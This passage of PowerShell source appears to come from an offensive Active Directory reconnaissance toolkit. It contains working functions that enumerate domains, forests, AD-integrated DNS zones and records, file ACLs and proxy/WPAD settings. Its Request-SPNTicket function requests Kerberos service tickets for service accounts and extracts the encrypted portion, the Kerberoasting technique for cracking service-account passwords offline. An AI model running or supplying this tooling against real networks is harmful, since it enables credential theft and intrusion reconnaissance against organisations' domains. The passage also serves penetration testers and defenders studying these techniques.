New-Object System.Collections.Specialized.OrderedDictionary\n\n        if($Value -is [Int]) {\n            $IntValue = $Value\n        }\n        elseif ($Value -is [PSCustomObject]) {\n            if($Value.useraccountcontrol) {\n                $IntValue = $Value.useraccountcontrol\n            }\n        }\n        else {\n            Write-Warning \"Invalid object input for -Value : $Value\"\n            return $Null \n        }\n\n        if($ShowAll) {\n            foreach ($UACValue in $UACValues.GetEnumerator()) {\n                if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {\n                    $ResultUACValues.Add($UACValue.Name, \"$($UACValue.Value)+\")\n                }\n                else {\n                    $ResultUACValues.Add($UACValue.Name, \"$($UACValue.Value)\")\n                }\n            }\n        }\n        else {\n            foreach ($UACValue in $UACValues.GetEnumerator()) {\n                if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) {\n                    $ResultUACValues.Add($UACValue.Name, \"$($UACValue.Value)\")\n                }\n            }\n        }\n        $ResultUACValues\n    }\n}\n\n\nfilter Get-Proxy {\n<#\n    .SYNOPSIS\n    \n        Enumerates the proxy server and WPAD conents for the current user.\n\n    .PARAMETER ComputerName\n\n        The computername to enumerate proxy settings on, defaults to local host.\n\n    .EXAMPLE\n\n        PS C:\\> Get-Proxy \n        \n        Returns the current proxy settings.\n#>\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $ComputerName = $ENV:COMPUTERNAME\n    )\n\n    try {\n        $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName)\n        $RegKey = $Reg.OpenSubkey(\"SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\")\n        $ProxyServer = $RegKey.GetValue('ProxyServer')\n        $AutoConfigURL = $RegKey.GetValue('AutoConfigURL')\n\n        $Wpad = \"\"\n        if($AutoConfigURL -and ($AutoConfigURL -ne \"\")) {\n            try {\n                $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)\n            }\n            catch {\n                Write-Warning \"Error connecting to AutoConfigURL : $AutoConfigURL\"\n            }\n        }\n        \n        if($ProxyServer -or $AutoConfigUrl) {\n\n            $Properties = @{\n                'ProxyServer' = $ProxyServer\n                'AutoConfigURL' = $AutoConfigURL\n                'Wpad' = $Wpad\n            }\n            \n            New-Object -TypeName PSObject -Property $Properties\n        }\n        else {\n            Write-Warning \"No proxy settings found for $ComputerName\"\n        }\n    }\n    catch {\n        Write-Warning \"Error enumerating proxy settings for $ComputerName : $_\"\n    }\n}\n\n\nfunction Request-SPNTicket {\n<#\n    .SYNOPSIS\n    \n        Request the kerberos ticket for a specified service principal name (SPN).\n    \n    .PARAMETER SPN\n\n        The service principal name to request the ticket for. Required.\n        \n    .PARAMETER EncPart\n        \n        Switch. Return the encrypted portion of the ticket (cipher).\n\n    .EXAMPLE\n\n        PS C:\\> Request-SPNTicket -SPN \"HTTP/web.testlab.local\"\n    \n        Request a kerberos service ticket for the specified SPN.\n        \n    .EXAMPLE\n\n        PS C:\\> Request-SPNTicket -SPN \"HTTP/web.testlab.local\" -EncPart\n    \n        Request a kerberos service ticket for the specified SPN and return the encrypted portion of the ticket.\n\n    .EXAMPLE\n\n        PS C:\\> \"HTTP/web1.testlab.local\",\"HTTP/web2.testlab.local\" | Request-SPNTicket\n\n        Request kerberos service tickets for all SPNs passed on the pipeline.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetUser -SPN | Request-SPNTicket\n\n        Request kerberos service tickets for all users with non-null SPNs.\n#>\n\n    [CmdletBinding()]\n    Param (\n        [Parameter(Mandatory=$True, ValueFromPipelineByPropertyName = $True)]\n        [Alias('ServicePrincipalName')]\n        [String[]]\n        $SPN,\n        \n        [Alias('EncryptedPart')]\n        [Switch]\n        $EncPart\n    )\n\n    begin {\n        Add-Type -AssemblyName System.IdentityModel\n    }\n\n    process {\n        ForEach($UserSPN in $SPN) {\n            Write-Verbose \"Requesting ticket for: $UserSPN\"\n            if (!$EncPart) {\n                New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN\n            }\n            else {\n                $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN\n                $TicketByteStream = $Ticket.GetRequest()\n                if ($TicketByteStream)\n                {\n                    $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace \"-\"\n                    [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split \"A48201\"\n                    $Parts.RemoveAt($Parts.Count - 1)\n                    $Parts -join \"A48201\"\n                    break\n                }\n            }\n        }\n    }\n}\n\n\nfunction Get-PathAcl {\n<#\n    .SYNOPSIS\n    \n        Enumerates the ACL for a given file path.\n\n    .PARAMETER Path\n\n        The local/remote path to enumerate the ACLs for.\n\n    .PARAMETER Recurse\n        \n        If any ACL results are groups, recurse and retrieve user membership.\n\n    .EXAMPLE\n\n        PS C:\\> Get-PathAcl \"\\\\SERVER\\Share\\\" \n        \n        Returns ACLs for the given UNC share.\n#>\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [String]\n        $Path,\n\n        [Switch]\n        $Recurse\n    )\n\n    begin {\n\n        function Convert-FileRight {\n\n            # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights\n\n            [CmdletBinding()]\n            param(\n                [Int]\n                $FSR\n            )\n\n            $AccessMask = @{\n              [uint32]'0x80000000' = 'GenericRead'\n              [uint32]'0x40000000' = 'GenericWrite'\n              [uint32]'0x20000000' = 'GenericExecute'\n              [uint32]'0x10000000' = 'GenericAll'\n              [uint32]'0x02000000' = 'MaximumAllowed'\n              [uint32]'0x01000000' = 'AccessSystemSecurity'\n              [uint32]'0x00100000' = 'Synchronize'\n              [uint32]'0x00080000' = 'WriteOwner'\n              [uint32]'0x00040000' = 'WriteDAC'\n              [uint32]'0x00020000' = 'ReadControl'\n              [uint32]'0x00010000' = 'Delete'\n              [uint32]'0x00000100' = 'WriteAttributes'\n              [uint32]'0x00000080' = 'ReadAttributes'\n              [uint32]'0x00000040' = 'DeleteChild'\n              [uint32]'0x00000020' = 'Execute/Traverse'\n              [uint32]'0x00000010' = 'WriteExtendedAttributes'\n              [uint32]'0x00000008' = 'ReadExtendedAttributes'\n              [uint32]'0x00000004' = 'AppendData/AddSubdirectory'\n              [uint32]'0x00000002' = 'WriteData/AddFile'\n              [uint32]'0x00000001' = 'ReadData/ListDirectory'\n            }\n\n            $SimplePermissions = @{\n              [uint32]'0x1f01ff' = 'FullControl'\n              [uint32]'0x0301bf' = 'Modify'\n              [uint32]'0x0200a9' = 'ReadAndExecute'\n              [uint32]'0x02019f' = 'ReadAndWrite'\n              [uint32]'0x020089' = 'Read'\n              [uint32]'0x000116' = 'Write'\n            }\n\n            $Permissions = @()\n\n            # get simple permission\n            $Permissions += $SimplePermissions.Keys |  % {\n                              if (($FSR -band $_) -eq $_) {\n                                $SimplePermissions[$_]\n                                $FSR = $FSR -band (-not $_)\n                              }\n                            }\n\n            # get remaining extended permissions\n            $Permissions += $AccessMask.Keys |\n                            ? { $FSR -band $_ } |\n                            % { $AccessMask[$_] }\n\n            ($Permissions | ?{$_}) -join \",\"\n        }\n    }\n\n    process {\n\n        try {\n            $ACL = Get-Acl -Path $Path\n\n            $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {\n\n                $Names = @()\n                if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {\n                    $Object = Get-ADObject -SID $_.IdentityReference\n                    $Names = @()\n                    $SIDs = @($Object.objectsid)\n\n                    if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {\n                        $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid\n                    }\n\n                    $SIDs | ForEach-Object {\n                        $Names += ,@($_, (Convert-SidToName $_))\n                    }\n                }\n                else {\n                    $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))\n                }\n\n                ForEach($Name in $Names) {\n                    $Out = New-Object PSObject\n                    $Out | Add-Member Noteproperty 'Path' $Path\n                    $Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)\n                    $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]\n                    $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]\n                    $Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType\n                    $Out\n                }\n            }\n        }\n        catch {\n            Write-Warning $_\n        }\n    }\n}\n\n\nfilter Get-NameField {\n<#\n    .SYNOPSIS\n    \n        Helper that attempts to extract appropriate field names from\n        passed computer objects.\n\n    .PARAMETER Object\n\n        The passed object to extract name fields from.\n\n    .PARAMETER DnsHostName\n        \n        A DnsHostName to extract through ValueFromPipelineByPropertyName.\n\n    .PARAMETER Name\n        \n        A Name to extract through ValueFromPipelineByPropertyName.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetComputer -FullData | Get-NameField\n#>\n    [CmdletBinding()]\n    param(\n        [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]\n        [Object]\n        $Object,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [String]\n        $DnsHostName,\n\n        [Parameter(ValueFromPipelineByPropertyName = $True)]\n        [String]\n        $Name\n    )\n\n    if($PSBoundParameters['DnsHostName']) {\n        $DnsHostName\n    }\n    elseif($PSBoundParameters['Name']) {\n        $Name\n    }\n    elseif($Object) {\n        if ( [bool]($Object.PSobject.Properties.name -match \"dnshostname\") ) {\n            # objects from Get-NetComputer\n            $Object.dnshostname\n        }\n        elseif ( [bool]($Object.PSobject.Properties.name -match \"name\") ) {\n            # objects from Get-NetDomainController\n            $Object.name\n        }\n        else {\n            # strings and catch alls\n            $Object\n        }\n    }\n    else {\n        return $Null\n    }\n}\n\n\nfunction Convert-LDAPProperty {\n<#\n    .SYNOPSIS\n    \n        Helper that converts specific LDAP property result fields.\n        Used by several of the Get-Net* function.\n\n    .PARAMETER Properties\n\n        Properties object to extract out LDAP fields for display.\n#>\n    param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [ValidateNotNullOrEmpty()]\n        $Properties\n    )\n\n    $ObjectProperties = @{}\n\n    $Properties.PropertyNames | ForEach-Object {\n        if (($_ -eq \"objectsid\") -or ($_ -eq \"sidhistory\")) {\n            # convert the SID to a string\n            $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value\n        }\n        elseif($_ -eq \"objectguid\") {\n            # convert the GUID to a string\n            $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid\n        }\n        elseif( ($_ -eq \"lastlogon\") -or ($_ -eq \"lastlogontimestamp\") -or ($_ -eq \"pwdlastset\") -or ($_ -eq \"lastlogoff\") -or ($_ -eq \"badPasswordTime\") ) {\n            # convert timestamps\n            if ($Properties[$_][0] -is [System.MarshalByRefObject]) {\n                # if we have a System.__ComObject\n                $Temp = $Properties[$_][0]\n                [Int32]$High = $Temp.GetType().InvokeMember(\"HighPart\", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)\n                [Int32]$Low  = $Temp.GetType().InvokeMember(\"LowPart\",  [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)\n                $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64](\"0x{0:x8}{1:x8}\" -f $High, $Low)))\n            }\n            else {\n                $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))\n            }\n        }\n        elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {\n            # try to convert misc com objects\n            $Prop = $Properties[$_]\n            try {\n                $Temp = $Prop[$_][0]\n                Write-Verbose $_\n                [Int32]$High = $Temp.GetType().InvokeMember(\"HighPart\", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)\n                [Int32]$Low  = $Temp.GetType().InvokeMember(\"LowPart\",  [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)\n                $ObjectProperties[$_] = [Int64](\"0x{0:x8}{1:x8}\" -f $High, $Low)\n            }\n            catch {\n                $ObjectProperties[$_] = $Prop[$_]\n            }\n        }\n        elseif($Properties[$_].count -eq 1) {\n            $ObjectProperties[$_] = $Properties[$_][0]\n        }\n        else {\n            $ObjectProperties[$_] = $Properties[$_]\n        }\n    }\n\n    New-Object -TypeName PSObject -Property $ObjectProperties\n}\n\n\n\n########################################################\n#\n# Domain info functions below.\n#\n########################################################\n\nfilter Get-DomainSearcher {\n<#\n    .SYNOPSIS\n\n        Helper used by various functions that takes an ADSpath and\n        domain specifier and builds the correct ADSI searcher object.\n\n    .PARAMETER Domain\n\n        The domain to use for the query, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER ADSpath\n\n        The LDAP source to search through, e.g. \"LDAP://OU=secret,DC=testlab,DC=local\"\n        Useful for OU queries.\n\n    .PARAMETER ADSprefix\n\n        Prefix to set for the searcher (like \"CN=Sites,CN=Configuration\")\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DomainSearcher -Domain testlab.local\n\n    .EXAMPLE\n\n        PS C:\\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local\n#>\n\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [String]\n        $ADSpath,\n\n        [String]\n        $ADSprefix,\n\n        [ValidateRange(1,10000)] \n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if(-not $Credential) {\n        if(-not $Domain) {\n            $Domain = (Get-NetDomain).name\n        }\n        elseif(-not $DomainController) {\n            try {\n                # if there's no -DomainController specified, try to pull the primary DC to reflect queries through\n                $DomainController = ((Get-NetDomain).PdcRoleOwner).Name\n            }\n            catch {\n                throw \"Get-DomainSearcher: Error in retrieving PDC for current domain\"\n            }\n        }\n    }\n    elseif (-not $DomainController) {\n        # if a DC isn't specified\n        try {\n            $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name\n        }\n        catch {\n            throw \"Get-DomainSearcher: Error in retrieving PDC for current domain\"\n        }\n\n        if(!$DomainController) {\n            throw \"Get-DomainSearcher: Error in retrieving PDC for current domain\"\n        }\n    }\n\n    $SearchString = \"LDAP://\"\n\n    if($DomainController) {\n        $SearchString += $DomainController\n        if($Domain){\n            $SearchString += '/'\n        }\n    }\n\n    if($ADSprefix) {\n        $SearchString += $ADSprefix + ','\n    }\n\n    if($ADSpath) {\n        if($ADSpath -Match '^GC://') {\n            # if we're searching the global catalog\n            $DN = $AdsPath.ToUpper().Trim('/')\n            $SearchString = ''\n        }\n        else {\n            if($ADSpath -match '^LDAP://') {\n                if($ADSpath -match \"LDAP://.+/.+\") {\n                    $SearchString = ''\n                }\n                else {\n                    $ADSpath = $ADSpath.Substring(7)\n                }\n            }\n            $DN = $ADSpath\n        }\n    }\n    else {\n        if($Domain -and ($Domain.Trim() -ne \"\")) {\n            $DN = \"DC=$($Domain.Replace('.', ',DC='))\"\n        }\n    }\n\n    $SearchString += $DN\n    Write-Verbose \"Get-DomainSearcher search string: $SearchString\"\n\n    if($Credential) {\n        Write-Verbose \"Using alternate credentials for LDAP connection\"\n        $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)\n        $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)\n    }\n    else {\n        $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)\n    }\n\n    $Searcher.PageSize = $PageSize\n    $Searcher.CacheResults = $False\n    $Searcher\n}\n\n\nfilter Convert-DNSRecord {\n<#\n    .SYNOPSIS\n\n       Decodes a binary DNS record.\n\n       Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1\n\n    .PARAMETER DNSRecord\n\n        The domain to query for zones, defaults to the current domain.\n\n    .LINK\n\n        https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1\n#>\n    param(\n        [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]\n        [Byte[]]\n        $DNSRecord\n    )\n\n    function Get-Name {\n        # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1\n        [CmdletBinding()]\n        param(\n            [Byte[]]\n            $Raw\n        )\n\n        [Int]$Length = $Raw[0]\n        [Int]$Segments = $Raw[1]\n        [Int]$Index =  2\n        [String]$Name  = \"\"\n\n        while ($Segments-- -gt 0)\n        {\n            [Int]$SegmentLength = $Raw[$Index++]\n            while ($SegmentLength-- -gt 0) {\n                $Name += [Char]$Raw[$Index++]\n            }\n            $Name += \".\"\n        }\n        $Name\n    }\n\n    $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)\n    $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)\n    $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)\n\n    $TTLRaw = $DNSRecord[12..15]\n    # reverse for big endian\n    $Null = [array]::Reverse($TTLRaw)\n    $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)\n\n    $Age = [BitConverter]::ToUInt32($DNSRecord, 20)\n    if($Age -ne 0) {\n        $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()\n    }\n    else {\n        $TimeStamp = \"[static]\"\n    }\n\n    $DNSRecordObject = New-Object PSObject\n\n    if($RDataType -eq 1) {\n        $IP = \"{0}.{1}.{2}.{3}\" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]\n        $Data = $IP\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'\n    }\n\n    elseif($RDataType -eq 2) {\n        $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]\n        $Data = $NSName\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'\n    }\n\n    elseif($RDataType -eq 5) {\n        $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]\n        $Data = $Alias\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'\n    }\n\n    elseif($RDataType -eq 6) {\n        # TODO: how to implement properly? nested object?\n        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'\n    }\n\n    elseif($RDataType -eq 12) {\n        $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]\n        $Data = $Ptr\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'\n    }\n\n    elseif($RDataType -eq 13) {\n        # TODO: how to implement properly? nested object?\n        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'\n    }\n\n    elseif($RDataType -eq 15) {\n        # TODO: how to implement properly? nested object?\n        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'\n    }\n\n    elseif($RDataType -eq 16) {\n\n        [string]$TXT  = \"\"\n        [int]$SegmentLength = $DNSRecord[24]\n        $Index = 25\n        while ($SegmentLength-- -gt 0) {\n            $TXT += [char]$DNSRecord[$index++]\n        }\n\n        $Data = $TXT\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'\n    }\n\n    elseif($RDataType -eq 28) {\n        # TODO: how to implement properly? nested object?\n        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'\n    }\n\n    elseif($RDataType -eq 33) {\n        # TODO: how to implement properly? nested object?\n        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'\n    }\n\n    else {\n        $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))\n        $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'\n    }\n\n    $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial\n    $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL\n    $DNSRecordObject | Add-Member Noteproperty 'Age' $Age\n    $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp\n    $DNSRecordObject | Add-Member Noteproperty 'Data' $Data\n    $DNSRecordObject\n}\n\n\nfilter Get-DNSZone {\n<#\n    .SYNOPSIS\n\n       Enumerates the Active Directory DNS zones for a given domain.\n\n    .PARAMETER Domain\n\n        The domain to query for zones, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .PARAMETER FullData\n\n        Switch. Return full computer objects instead of just system names (the default).\n\n    .EXAMPLE\n\n        PS C:\\> Get-DNSZone\n\n        Retrieves the DNS zones for the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DNSZone -Domain dev.testlab.local -DomainController primary.testlab.local\n\n        Retrieves the DNS zones for the dev.testlab.local domain, reflecting the LDAP queries\n        through the primary.testlab.local domain controller.\n#>\n\n    param(\n        [Parameter(Position=0, ValueFromPipeline=$True)]\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)]\n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential,\n\n        [Switch]\n        $FullData\n    )\n\n    $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential\n    $DNSSearcher.filter=\"(objectClass=dnsZone)\"\n\n    if($DNSSearcher) {\n        $Results = $DNSSearcher.FindAll()\n        $Results | Where-Object {$_} | ForEach-Object {\n            # convert/process the LDAP fields for each result\n            $Properties = Convert-LDAPProperty -Properties $_.Properties\n            $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name\n\n            if ($FullData) {\n                $Properties\n            }\n            else {\n                $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged\n            }\n        }\n        $Results.dispose()\n        $DNSSearcher.dispose()\n    }\n\n    $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix \"CN=MicrosoftDNS,DC=DomainDnsZones\"\n    $DNSSearcher.filter=\"(objectClass=dnsZone)\"\n\n    if($DNSSearcher) {\n        $Results = $DNSSearcher.FindAll()\n        $Results | Where-Object {$_} | ForEach-Object {\n            # convert/process the LDAP fields for each result\n            $Properties = Convert-LDAPProperty -Properties $_.Properties\n            $Properties | Add-Member NoteProperty 'ZoneName' $Properties.name\n\n            if ($FullData) {\n                $Properties\n            }\n            else {\n                $Properties | Select-Object ZoneName,distinguishedname,whencreated,whenchanged\n            }\n        }\n        $Results.dispose()\n        $DNSSearcher.dispose()\n    }\n}\n\n\nfilter Get-DNSRecord {\n<#\n    .SYNOPSIS\n\n       Enumerates the Active Directory DNS records for a given zone.\n\n    .PARAMETER ZoneName\n\n        The zone to query for records (which can be enumearted with Get-DNSZone). Required.\n\n    .PARAMETER Domain\n\n        The domain to query for zones, defaults to the current domain.\n\n    .PARAMETER DomainController\n\n        Domain controller to reflect LDAP queries through.\n\n    .PARAMETER PageSize\n\n        The PageSize to set for the LDAP searcher object.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DNSRecord -ZoneName testlab.local\n\n        Retrieve all records for the testlab.local zone.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DNSZone | Get-DNSRecord\n\n        Retrieve all records for all zones in the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-DNSZone -Domain dev.testlab.local | Get-DNSRecord -Domain dev.testlab.local\n\n        Retrieve all records for all zones in the dev.testlab.local domain.\n#>\n\n    param(\n        [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]\n        [String]\n        $ZoneName,\n\n        [String]\n        $Domain,\n\n        [String]\n        $DomainController,\n\n        [ValidateRange(1,10000)]\n        [Int]\n        $PageSize = 200,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    $DNSSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize -Credential $Credential -ADSprefix \"DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones\"\n    $DNSSearcher.filter=\"(objectClass=dnsNode)\"\n\n    if($DNSSearcher) {\n        $Results = $DNSSearcher.FindAll()\n        $Results | Where-Object {$_} | ForEach-Object {\n            try {\n                # convert/process the LDAP fields for each result\n                $Properties = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged\n                $Properties | Add-Member NoteProperty 'ZoneName' $ZoneName\n\n                # convert the record and extract the properties\n                if ($Properties.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {\n                    # TODO: handle multiple nested records properly?\n                    $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord[0]\n                }\n                else {\n                    $Record = Convert-DNSRecord -DNSRecord $Properties.dnsrecord\n                }\n\n                if($Record) {\n                    $Record.psobject.properties | ForEach-Object {\n                        $Properties | Add-Member NoteProperty $_.Name $_.Value\n                    }\n                }\n\n                $Properties\n            }\n            catch {\n                Write-Warning \"ERROR: $_\"\n                $Properties\n            }\n        }\n        $Results.dispose()\n        $DNSSearcher.dispose()\n    }\n}\n\n\nfilter Get-NetDomain {\n<#\n    .SYNOPSIS\n\n        Returns a given domain object.\n\n    .PARAMETER Domain\n\n        The domain name to query for, defaults to the current domain.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetDomain -Domain testlab.local\n\n    .EXAMPLE\n\n        PS C:\\> \"testlab.local\" | Get-NetDomain\n\n    .LINK\n\n        http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG\n#>\n\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Domain,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if($Credential) {\n        \n        Write-Verbose \"Using alternate credentials for Get-NetDomain\"\n\n        if(!$Domain) {\n            # if no domain is supplied, extract the logon domain from the PSCredential passed\n            $Domain = $Credential.GetNetworkCredential().Domain\n            Write-Verbose \"Extracted domain '$Domain' from -Credential\"\n        }\n   \n        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain, $Credential.UserName, $Credential.GetNetworkCredential().Password)\n        \n        try {\n            [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)\n        }\n        catch {\n            Write-Verbose \"The specified domain does '$Domain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid.\"\n            $Null\n        }\n    }\n    elseif($Domain) {\n        $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)\n        try {\n            [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)\n        }\n        catch {\n            Write-Verbose \"The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust.\"\n            $Null\n        }\n    }\n    else {\n        [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()\n    }\n}\n\n\nfilter Get-NetForest {\n<#\n    .SYNOPSIS\n\n        Returns a given forest object.\n\n    .PARAMETER Forest\n\n        The forest name to query for, defaults to the current domain.\n\n    .PARAMETER Credential\n\n        A [Management.Automation.PSCredential] object of alternate credentials\n        for connection to the target domain.\n\n    .EXAMPLE\n    \n        PS C:\\> Get-NetForest -Forest external.domain\n\n    .EXAMPLE\n    \n        PS C:\\> \"external.domain\" | Get-NetForest\n#>\n\n    param(\n        [Parameter(ValueFromPipeline=$True)]\n        [String]\n        $Forest,\n\n        [Management.Automation.PSCredential]\n        $Credential\n    )\n\n    if($Credential) {\n        \n        Write-Verbose \"Using alternate credentials for Get-NetForest\"\n\n        if(!$Forest) {\n            # if no domain is supplied, extract the logon domain from the PSCredential passed\n            $Forest = $Credential.GetNetworkCredential().Domain\n            Write-Verbose \"Extracted domain '$Forest' from -Credential\"\n        }\n   \n        $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest, $Credential.UserName, $Credential.GetNetworkCredential().Password)\n        \n        try {\n            $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext)\n        }\n        catch {\n            Write-Verbose \"The specified forest '$Forest' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid.\"\n            $Null\n        }\n    }\n    elseif($Forest) {\n        $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Forest)\n        try {\n            $ForestObject = 